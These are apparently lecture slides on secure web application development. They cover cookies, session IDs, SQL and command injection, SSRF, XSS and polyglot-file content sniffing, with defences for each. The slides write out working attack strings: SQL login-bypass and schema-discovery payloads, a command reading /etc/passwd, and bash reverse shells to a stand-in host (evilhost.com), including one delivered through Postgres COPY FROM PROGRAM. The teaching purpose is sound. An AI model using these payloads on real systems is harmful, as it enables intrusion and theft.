



Cybersecurity

Secured Application Development

Cookies and User Input



Cookies and User Input

Cookies and User Input



Cookies and User Input

Cookies and User Input

In this lecture,

- ❑ **we will look at one of the most common sources of vulnerabilities in a web application: user input.**
- ❑ **User input can pose a threat when that input is either displayed in web pages, stored on the server, or executed.**
- ❑ **We will begin by looking in some detail at [how cookies are set by a web server and how they are used by the browser](#).**
 - Incorrect cookie settings are a frequent source of vulnerabilities.
 - We will then examine some common user input-oriented vulnerabilities and how to fix them: injection, server-side request forgery, and cross-site scripting.



Cookies and User Input

Types of User Input

- ❑ We often think of user input as being form data that is sent to the server as a POST request, and this is often a source of vulnerabilities.
- ❑ However, we shall see that any data sent from the client to the server, or indeed the server to the client, can be a threat.
- ❑ We saw in before that there are two classes of attack: server side and client side.
 - In server-side attacks, an attacker targets our server through a web client or some other tool.
 - In client-side attacks, the attacker targets a user. The attacker tricks the user into performing some action, usually using tools already on their device such as their web browser.
- ❑ **Poor handling of user input can lead to both types of attack.**



Cookies and User Input

Types of User Input

❑ User input includes

- Cookies
- Other HTTP headers, for example, User-Agent
- Form data, both interactively and programmatically submitted
- JSON and XML data, for example, in REST API requests and responses
- Uploads, for example, images
- URLs including GET parameters and path info

❑ **While not exactly user input**, JavaScript, even when sent from your own site, can pose the same threats.

❑ **We looked at JSON and XML data in the last chapter.** We will look at the remainder in the sections that follow.



Cookies and User Input

Cookies

- ❑ Cookies are key/value pairs sent from the server to the client in a response header.
 - The client, for example, a web browser, stores them in a file and sends them to the server in a request header if certain conditions are met.
 - Chrome and Firefox both store cookies in a SQLite database. SQLite databases are themselves a single file. Cookies are set by the server with the Set-Cookie header:

Set-Cookie: cookie-name=cookie-settings

Where cookie-settings = cookie-value[; attr-name[=attr-value]...]

An example is

Set-Cookie: lang=en

- ❑ On subsequent visits to the same site, the browser would send the following back to the server in the request headers:

Cookie: lang=en



Cookies and User Input

Cookies

Cookie attributes supported by the Set-Cookie header

Attribute	Meaning
Expires=datetime	Do not send the cookie after the given time. The value should be given as day, month year hour:min:sec TZ .
Max-Age=secs	Do not send the cookie after the given number of seconds have elapsed.
Domain=domain	Only send the cookie for given domains.
Path=path	Only send the cookie for URLs under the named path (including subpaths).
Secure	Only send the cookie over HTTPS.
HttpOnly	Do not allow the cookie to be read by JavaScript code.
SameSite=value	Controls how the cookie is sent in cross-site requests. Described in the following text.



Cookies and User Input

Cookies

- ❑ If the browser had multiple cookies for the same site, they would be concatenated with semicolons, for example:

Cookie: lang=en; country=AU

- ❑ Additional attributes can be specified in the Set-Cookie header, for example:

Set-Cookie: lang=en; Max-Age=86400; HttpOnly



Cookies and User Input

Cookies

❑ The Expires and Max-Age Attributes:

- The Max-Age attribute instructs the client when to stop sending the cookie, as a number of seconds from when it is received.
- By default, Max-Age is 0, which means delete the cookie once the browser is closed.

❑ **Domain and Path:** By default, the cookie is sent for all URLs on the host it was sent from (based on the host in the URL) and to no other hosts, also not sending it to subdomains.

▣ If the Domain attribute is set, the cookie is sent to that domain and subdomains.

- If Domain is set to **example.com**, it is sent to example.com, www.example.com, etc.
- If it is set to **www.example.com**, it is only sent to that host. If Path is set, it is only sent for URIs under that path.
- For example, if Path is /api, the cookie is sent for /api, /api/call1, etc.
- If it is set to /, the cookie is sent to all URIs.



Cookies and User Input

Cookies

- ❑ **The Secure and HttpOnly Attributes:** The Secure flag prevents the cookie from being sent to the server when the connection is not encrypted.
 - ▣ This is especially important when cookies contain sensitive data such as **session IDs**. Remember that the cookie is still stored unencrypted on the user's computer.
 - ▣ The HttpOnly flag prevents the cookie from being readable in JavaScript. **In other words:**

```
<script>  
    alert(document.cookie)  
</script>
```

will not display the cookie if HttpOnly was set.

- ▣ We will return to this when talking about cross-site scripting.



Cookies and User Input

Cookies

- ❑ **The SameSite Cookie Setting:** The SameSite attribute controls in what cross-site circumstances the cookie is sent.
 - ▣ If set to **None**, the cookie is always sent. However, modern versions of Chrome and Firefox will not send it at all unless the **Secure** flag is set and the page is loaded over HTTPS.
 - ▣ If set to **Lax**, then the cookie is not sent when following a link from another domain unless it is a top-level page load and a “safe” HTTP method (GET, HEAD, or OPTIONS). This means, that the cookie would not be sent when loading a URL in an IMG tag on a different site.
 - ▣ If set to **Strict**, the cookie is only sent when following a link from the same domain or loading a URL directly (typing a URL into the address bar or clicking a link in an Email or other application).
 - ▣ This is summarized in the table below.



Cookies and User Input

Cookies

The cookie SameSite attribute

Situation	None	Lax	Strict
Following links from the same domain	Sent	Sent	Sent
Direct navigation	Sent	Sent	Sent
– URL typed in an address bar			
– URL from an email clicked on			
– Link from other application			
Following safe top-level links from a different domain	Sent	Sent	Not Sent
Following other links from a different domain	Sent	Not Sent	Not Sent



Cookies and User Input

Session ID Cookies

- ❑ **Session ID cookies are a common way for websites to keep a user logged in between requests.** As HTTP is stateless, the only way to associate a user with a request is to store something on both the client and server that can be matched against each other.
- ❑ **When a user sends a server a username and password, through a web form, the application's back-end code can look those up in the user table of its database.**
 - **If they match, the server creates a token.** This is the **session ID** and can be as simple as a random string. **This session ID**, the user ID, and an expiry date are stored in a table on the server, and the token is sent, with a matching expiry, as a cookie to the client
- ❑ **Whenever the client sends the session ID to the server, it is matched against the session table. If there is a matching row, and the expiry date has not passed, the user ID is extracted from that row, and the user is considered logged in.**



Cookies and User Input

Session IDs and the SameSite Setting

The SameSite attribute has a noticeable impact on session ID cookies.

- ❑ *Imagine a user logs into a **website**. If successful, the server sends a session ID cookie in the response.*
- ❑ *Imagine it sets SameSite to None. The header would look like this:*
Set-Cookie: sessionid=session-token; SameSite=None
- ❑ *Look at the situations where the cookie will be sent by the browser:*
 - *If the user follows a link from a page in the website to another page on the same domain, **the cookie will be sent.***
 - *If the user types the **website/someurl/** into the browser, **the cookie will be sent.***
 - *If the user is emailed a link to a **website/someurl/** and clicks on it, **the cookie will be sent.***
 - *If the user follows a link to the **website** from another site, **the cookie will be sent.***
- ❑ ***In all cases, the site will receive the session ID, and the user will be considered logged.***



Cookies and User Input

Session IDs and the SameSite Setting

- ❑ Now consider what happens if SameSite is set to **Lax**. The cookie will only be sent
 - If the user follows a link from a **website** to another page on the same domain
 - If the user types coffeeshop.com/someurl/ into the browser
 - If the user is emailed a link to **website/someurl/** and clicks on it

In all these cases, the user will be considered logged in.

 - If the user visits by following a link on another site, *the user will not be logged in and will be prompted for a username and password.*
- ❑ Finally, consider **SameSite is set to Strict**.
 - if the user follows a link from a **website** page to another page on the same domain, *the cookie will only be sent*
 - Otherwise, *the user will have to log in again.*
- ❑ *Setting the same site value inappropriately can lead to certain attacks such as cross-site request forgery. We will investigate these later.*



Cookies and User Input

Injection Attacks

- ❑ Injection refers to vulnerabilities where a user can submit input that is executed on the server.
 - If an input field is not validated, an attacker can insert malicious code or data.
- ❑ Usually, the user-entered code is concatenated with code on the server, rather than being a complete command in itself.
- ❑ The most well-known injection vulnerability is SQL injection.
 - The vulnerability can exist anywhere where data is captured from the client and executed on the server in a SQL query.
 - Other places can include GET parameters or REST API calls.
 - Other types of injection include command injection, where OS commands are, and code injection .
- ❑ Cross-site scripting, which is effectively injecting HTML and JavaScript code, is discussed later on.



Cookies and User Input

SQL Injection

- ❑ Imagine a web page that asks for a user to log in by entering a username and password into an HTML form:

```
<form method="POST" action="/login">  
  <p> <input type="username" name="username" placeholder="Username"> </p>  
  <p> <input type="password" name="password" placeholder="Password"> </p>  
  <p><button type="submit">Sign in</button></p>  
</form>
```

- ❑ The handler for the /login URL has the following code for checking if the credentials are correct:

```
password_hash = hashlib.md5(password).hexdigest()  
sql = "select user_id from User where username = '" + username \  
+ "'" and password = '" + password_hash + "'" with connection.cursor() as  
cursor:  
cursor.execute(sql) row = cursor.fetchone()  
...
```



Cookies and User Input

SQL Injection

Here, username and password are taken from the two form input fields.

❑ Let's say an attacker enters the following in the username field and **some random text (say, xxx) in the password field: bob'--**

❑ When the server code is executed, the sql variable will contain the following (bold indicates the text that the user entered):

```
select user_id from User where username = 'bob'--' and password = 'xxx'
```

❑ The -- begins a comment in SQL, so everything after it is ignored. The SQL engine will therefore only see the following:

```
select user_id from User where username = 'bob'
```

❑ So long as the user bob exists, a row will be returned regardless what the password is. ***The attacker will be logged in.***

❑ If the attacker did not know a valid username, they could enter the following for the username: **anyusername' or 1=1 limit 1--**

Ignoring the part after the comment, the SQL engine will execute

```
select user_id from User where username = 'anyusername' or 1=1 limit 1
```



Cookies and User Input

SQL Injection

- ❑ Regardless of whether a user called anyusername exists, the or 1=1 clause will select all rows from the User table. In case multiple rows break subsequent code, the attacker adds limit 1 to restrict the output to a single row.
- ❑ If the database user allows the creation of User table entries, the attacker could enter the following in the username field:

`select user_id from User where username = 'anyusername' or 1=1 LIMIT 1;`

`insert into User (username, password) values ('myusername', 'mypasswordhash')--`

- ❑ The semicolon ends a SQL statement and begins a new one. Not only would the attacker be logged in as the first user in the order rows are returned but would also be able to create their own user. Similarly, the attacker could delete or alter rows.



Cookies and User Input

Schema Discovery

- ❑ Each of the preceding examples required that the attacker know the column names in the user table, though username and password would have been obvious guesses. The last example required the attacker to know that the user table is called User.
- ❑ However, an attacker could also query the schema to find out what the table is called.

Imagine a search form that looks something like the following:

```
<form method="POST" action="/search">  
  <p>input name="search" placeholder="Enter search term"></p> <p><button  
  type="submit">Search</button> </p>  
</form>
```

Clicking *Search* causes matches to be displayed in a page. The SQL query is constructed on the server with

```
sql = "select name, description from Product " \  
+ "where name like '%" + searchterm + "%' OR description like '%" + searchterm + "%'"
```



Cookies and User Input

Schema Discovery

- ❑ Now imagine the attacker enters the following in the search field:

```
xxx' union select schemaname, tablename from  
pg_catalog.pg_tables--
```
- ❑ The union keyword joins two select queries together. The only requirement is that the number and types of the selected columns match. In the server code, two varchar columns, name and description, are selected. The attacker ensures they select two columns of type varchar.
- ❑ The ***catalog.pg_tables table in Postgres contains the names of all the tables in the database.*** Fortunately, it has two useful varchar columns: schemaname and tablename.
- ❑ Most likely, no results will be returned by the actual search string xxx. However, the other select statement will return all the schema and table names in the database as part of the search results.



Finding SQL Injection Vulnerabilities

- ☐ The easiest way for an attacker to spot a SQL injection vulnerability is to enter a single quote in a form field by itself and see if an error is raised.
- ☐ Say the form field was a search box. If the server code is secure, entering a single quote should either return no results or return results that really did contain a single quote.
- ☐ If a vulnerability exists, the server would either return an error or something indicating the code failed, for example, a blank page.



Defending Against SQL Injection

- ❑ The obvious defense against SQL injection is to sanitize user input—escape or remove quote characters, semicolons, dashes, etc. However, this must be done carefully.
- ❑ For example, code to filter out a single quote is often confused if the string contains a null byte before it. Therefore, the **string %00'** may well prevent the quote deletion from succeeding. *Hackers also replace a single quote with its ASCII value %27 to avoid detection*
- ❑ A far safer defense is to not use string concatenation at all. Instead, use prepared statements.
- ❑ Prepared statements are a feature of SQL engine APIs. Placeholders are inserted into the SQL query where user-provided data is expected.
 - The statement is compiled, and the user input is passed as a parameter to the execution function along with the compiled SQL statement. *They also improve performance, especially if the query is reused, as it only needs to be compiled once.*



Cookies and User Input

Command Injection

- ❑ *Command injection vulnerabilities are similar to SQL injection. The difference is that user-supplied text is concatenated with a shell command that is executed on the server, rather than SQL code.*
- ❑ Imagine an application that scales an image by a percentage supplied by the user:
`os.system('convert myimage.jpg -resize ' + scale + '% newimage.jpg')`
By now, you probably recognize why a vulnerability exists. If, for the scale term, an attacker entered
`50% newimage.jpg && cat /etc/passwd #`
 - *then the server would execute the scale command as expected but would then **print out the contents of the system password file.***
 - The double ampersand is a **Bash and** and is an effective way of joining two commands into a single command. *The hash is the comment char.*
- ❑ *If the output were captured and displayed, the attacker can view the system users.*



Cookies and User Input

Command Injection

- ❑ In this example, the output is not captured. It is, however, still a useful vulnerability for an attacker. ***Consider the following value for the scale term:***

```
50% newimage.jpg && bash -c 'bash -i >&  
/dev/tcp/evilhost.com/9000 0>&1' #
```

- ❑ This initiates a ***reverse shell***. ***A normal shell session, initiated by a client connecting to a port on the server, normally gives the client an interactive session on the server.***
- ❑ A reverse shell works in the opposite direction. ***The client connects to a port on the server, but the server gets an interactive session on the client.*** The **>&** redirects standard output and standard error. In normal usage, this would be to a file. However, Bash allows them to be redirected to a TCP port. **The 0>&1 redirects standard input to the same port.**
- ❑ The result is that when Bash runs, the input and output are read from and written to the remote TCP port. The -i creates an interactive shell.



Cookies and User Input

Command Injection

- ❑ The outer Bash command is because `os.system()` runs its argument through `/bin/sh`, not Bash. TCP port redirection is not supported in `/bin/sh`, so we need an additional Bash command to interpret it.
- ❑ ***The attacker runs a command on their server `evilhost.com` to open a port, in this example 9000, to listen for connections.*** The easiest way is with the `nc` command:

`nc -l evilhost.com 9000`
- ❑ ***Once a connection is established, the `nc` command simply prints anything received on the given port to the terminal and sends terminal input to the port.*** When the `os.system()` command is executed, the Bash command is run and connects to the hacker's open port.
 - The hacker can type commands, and they will be executed on the remote server.
 - The output will be sent to the Hacker's port. As the Bash command was started by Apache, it will be running as the same user, typically `www-data`, with that user's privileges.



Back Doors

- ❑ A reverse shell is an example of a *back door*: an entry point an attacker uses that was not intended by the developer. *In our example, the developer expects connections over HTTP and HTTPS on ports 80 and 443, but the attacker has created a Bash entry point on port 9000.*
- ❑ A Bash shell using nc is useful for an attacker and dangerous for the application. However, it is still rather limiting: the attacker must be present to interactively operate the shell, it only accepts one connection at a time, and file upload and download are difficult to enact.



Cookies and User Input

Back Doors

- ❑ ***Fortunately for attackers, other back doors exist.*** It is not hard to see how nc could be replaced by a more sophisticated application that spawns a new thread for each connection and that automates commands.
- ❑ ***Also fortunately for attackers, tools already exist with more features. Metasploit is a popular framework with many exploits built in and is also extensible.*** It contains ***exploits*** and ***payloads***.
 - Exploits are modules that take advantage of a vulnerability. One example is Metasploit's web_delivery exploit, which takes advantage of a vulnerable web form.
 - Once the exploit has been executed, Metasploit delivers a payload. The user can select from a number that are supported by each exploit. A Bash reverse shell over TCP is one option, but Metasploit makes an additional 20 available for the web_delivery exploit.
 - Metasploit also has *staged payloads*. These are delivered in parts. Once the exploit is executed, Meterpreter delivers a small payload whose purpose is to download a larger one with more features.



Cookies and User Input

Defending Against Command Injection

- ❑ ***Firstly, system commands should be used very sparingly.*** If developing an application in Python, for example, use Python commands and packages wherever possible, rather than making system calls.
- ❑ ***If a system call is necessary, the subprocess package is safer than os.system().***
We could replace our vulnerable os.system() call with
subprocess.run(['convert', 'myimage.jpg', '-resize', scale + '%', 'newimage.jpg'])
 - ***This syntax is more secure because the scale variable (with % appended to it) is always treated as a single command-line argument.*** Adding spaces, semicolons, ampersands, and comment character will only ever add them to the argument, not create additional arguments or commands.
 - ***The subprocess.run() also has an optional parameter to run a full command from a string, similar to os.system():***
subprocess.run(cmd, shell=True) # don't do this, it is insecure os.system().



Cookies and User Input

Combining SQL and Command Injection

- ❑ The previous example required a command injection vulnerability to be present. If there isn't one, a reverse shell can sometimes be obtained through SQL injection.
- ❑ Many databases, Postgres included, allow shell commands to be executed from SQL queries.
- ❑ In Postgres, this is disabled by default except for superusers. (another reason for not to use a superuser account to access the database).
- ❑ If command execution is enabled and a SQL injection vulnerability is present, **the following text in a vulnerable field will start a reverse shell:**

```
'; CREATE TABLE trigger_test (  
    tt_id serial PRIMARY KEY,  
    command_output text  
);  
COPY trigger_test (command_output) FROM PROGRAM  
'bash -c "bash -i >& /dev/tcp/evilhost.com/9000 0>&1 &"; --
```



Cookies and User Input

Combining SQL and Command Injection

- **For clarity, we have split the command onto several lines.** In a real attack, it would be entered without the carriage returns.
- ***The COPY ... FROM PROGRAM ... command is Postgres' syntax for running a shell command.***
- ***The output is copied into a table.*** Of course, we need a table to copy it into, so we create the table first.
- ***For our reverse shell, we are not interested in the output, so we don't care if we can read the table or not (though we can with further SQL injection commands).*** We just want the command to be run so that it connects to our nc server.
- ***Clearly, allowing the web application's database user to run shell commands is dangerous,*** and this feature should be disabled in all but very specialist applications.



Cookies and User Input

Server-Side Request Forgery

- ❑ *Server-side request forgery (SSRF)* is one of the more well-known web vulnerabilities in *cross-site request forgery (CSRF)*. It is a relatively new attack. Despite its similar name, *It has less in common with cross-site request forgery and more with injection attacks.*
- ❑ *SSRF vulnerabilities occur when a request is made by a client to a server that contains another request embedded in it*, or enough of a request fragment that an attacker, by crafting a suitable request, can make a request the developer did not intend to make available.
- ❑ *SSRF is made possible because it is being called from within the server's network, not from the outside Internet.*
- ❑ Imagine you have a shop that aggregates products from different sites. You make a REST API call available to the client so that it can request products from the different sites.



Cookies and User Input

Server-Side Request Forgery

- ❑ *A request looks something like the following:*

POST /product HTTP/1.1

Content-Type: application/json

{"url": "https://shop1.com/product/1"}

- ❑ If the embedded URL is not sanitized, an attacker can take advantage of it to call services behind the web server's firewall that are unavailable when called from outside the corporate network. Say the organization has an admin console running on port 9000 of the same host, and this port is blocked by the firewall. An attacker can send a request:

POST /product HTTP/1.1

Content-Type: application/json

{"url": "https://localhost:9000/admin"}

- ❑ Since the embedded call is made from within the intranet, port 9000 on localhost is not blocked. If the administrators assumed that only authorized users have access to this port and therefore do not protect it with a username and password, the attacker can gain access without needing to authenticate.



Cookies and User Input

Server-Side Request Forgery

- ❑ One existed in GitLab until June 2021 when it was patched.³ **An embedded URL similar to the preceding situation was made available to integrate GitHub projects with GitLab.**
- ❑ **The vulnerability arose because attackers, even unauthenticated ones, could use the API call to make calls to other hosts internal to the network where the GitLab instance was running.**

Defending Against Server-Side Request Forgery

- ❑ The best defense against SSRF is to not make requests based on the contents of client-supplied requests, at least not without first sanitizing the request.
- ❑ If you must make this functionality available, ensure the host, port, protocol, and path match some criteria.



Cross-Site Scripting (XSS)

- ❑ ***Cross-site scripting (XSS)*** is a vulnerability that occurs when an attacker is able to get their own JavaScript code sent by a server in a response and executed by the browser.

There are three types:

1. ***Relected XSS***, where JavaScript code is transient rather than being stored on the server
 2. ***Stored XSS***, where the JavaScript is stored on the server
 3. ***DOM-based XSS*** where only the DOM environment is changed rather than actually changing code
- ❑ ***There is also Blind XSS***, where JavaScript code is executed in a context that does not update the screen, for example, an asynchronous request. It is similar to Stored XSS except for being more difficult to test for.
 - ❑ **An attacker's aim** might be to have the code executed in their own browser, but more commonly the aim is to have it executed in a victim's browser.
 - ❑ **XSS vulnerabilities are attractive** to attackers because the JavaScript code is run in the context of the vulnerable site and is run by the victim on their own browser.



Cookies and User Input

HTML Injection

- ❑ Before leaving XSS, we should discuss the related vulnerability of HTML injection. **This occurs when an attacker can get HTML code interpreted as part of a page.** We include it here rather than in the section on injection as it arises from the same vulnerability.
 - **The difference between this and Stored XSS is that the injected text is HTML not JavaScript.**
- ❑ Even without JavaScript code, **HTML injection can be harmful. An attacker can deface a site by adding images with IMG tags or entire pages with <iframe> tags.** They can create links that can be used to track visitors or deliver malware.
- ❑ **Defending against HTML injection is the same as against XSS—sanitize user input.**



Cookies and User Input

Content Sniffing

- ❑ We looked at potential vulnerabilities of file uploading in Chapter [5](#). Among the defenses, *we said developers should confirm that the file type matches what is expected.*
- ❑ It is possible for a file to simultaneously be valid syntax for more than one file type. *These are called **polyglot files**.* They can potentially be useful to attackers because of a feature in browsers that causes them to change the content type from what was given in the server's HTTP response.
- ❑ Consider the following example.
 - ▣ *An attacker wants to upload malicious JavaScript to a site. The only opportunity to get code onto the server is an image upload form (e.g., on a social media site). Perhaps the site filters JavaScript uploads using Content Security Policy (CSP), which we will discuss in Chapter [8](#).*



Cookies and User Input

Content Sniffing

- ▣ *The attacker constructs a file containing the malicious JavaScript that is also a valid JPEG file, calling it **myimage.jpg**. They then upload it using the image upload form. The server checks the content and confirms it is a JPEG file.*
- ▣ *Later, the attacker is able to have the JavaScript/JPEG file linked to with the following HTML:*

`<script src="myimage.jpg"></script>`

- ▣ **Most web servers derive the Content-Type header from the file extension.** Then the script should fail to execute.
- ▣ However, **many browsers assume the server has made an error.** The browser is expecting application/javascript but receives image/jpeg. Believing the server may have sent the wrong content type, it inspects the file to check if it is actually JavaScript. **As the image is both valid JPEG and JavaScript, the browser will decide it is actually a script and will execute it.**



Cookies and User Input

Content Sniffing

- ❑ This is a somewhat esoteric vulnerability, but it can be demonstrated to be exploitable. **Gareth Heyes at PortSwigger demonstrated that he can create a file that is simultaneously valid JPEG and JavaScript.**
- ❑ We have extended this idea to create a script that can join (more or less) arbitrary JPEG images and JavaScript files into one file, which is valid syntax for both.
- ❑ If you look at your **coffeeshop** Git clone, you will see a directory called **other/jpgjs** containing this script along with an example. The JPEG/JavaScript file is **hackedimage.jpg**. It is a valid image of a Swiss mountain. **It is also JavaScript that displays a message in an alert window.**



Cookies and User Input

Content Sniffing

- ❑ Take a look at the file index.html. It displays the image with a conventional tag:
``
It also runs it as a script with
`<script`
`charset="ISO-8859-1"src="hackedimage.jpg">`
`</script>`
- ❑ Open the **index.html** file in Firefox. **The image will be displayed, and the alert will pop up. Both come from the same file.** It works in older versions of Chrome though not in the most recent ones.
- ❑ **It is arguable whether this vulnerability has been exploited in real life.** However, it is such an easy one to fix, and the browser feature seems so unnecessary, that it is worth fixing anyway. The solution is to add a header
- ❑ X-Content-Type-Options: nosniff
which instructs the browser not to perform this content inspection. It can be added to all responses.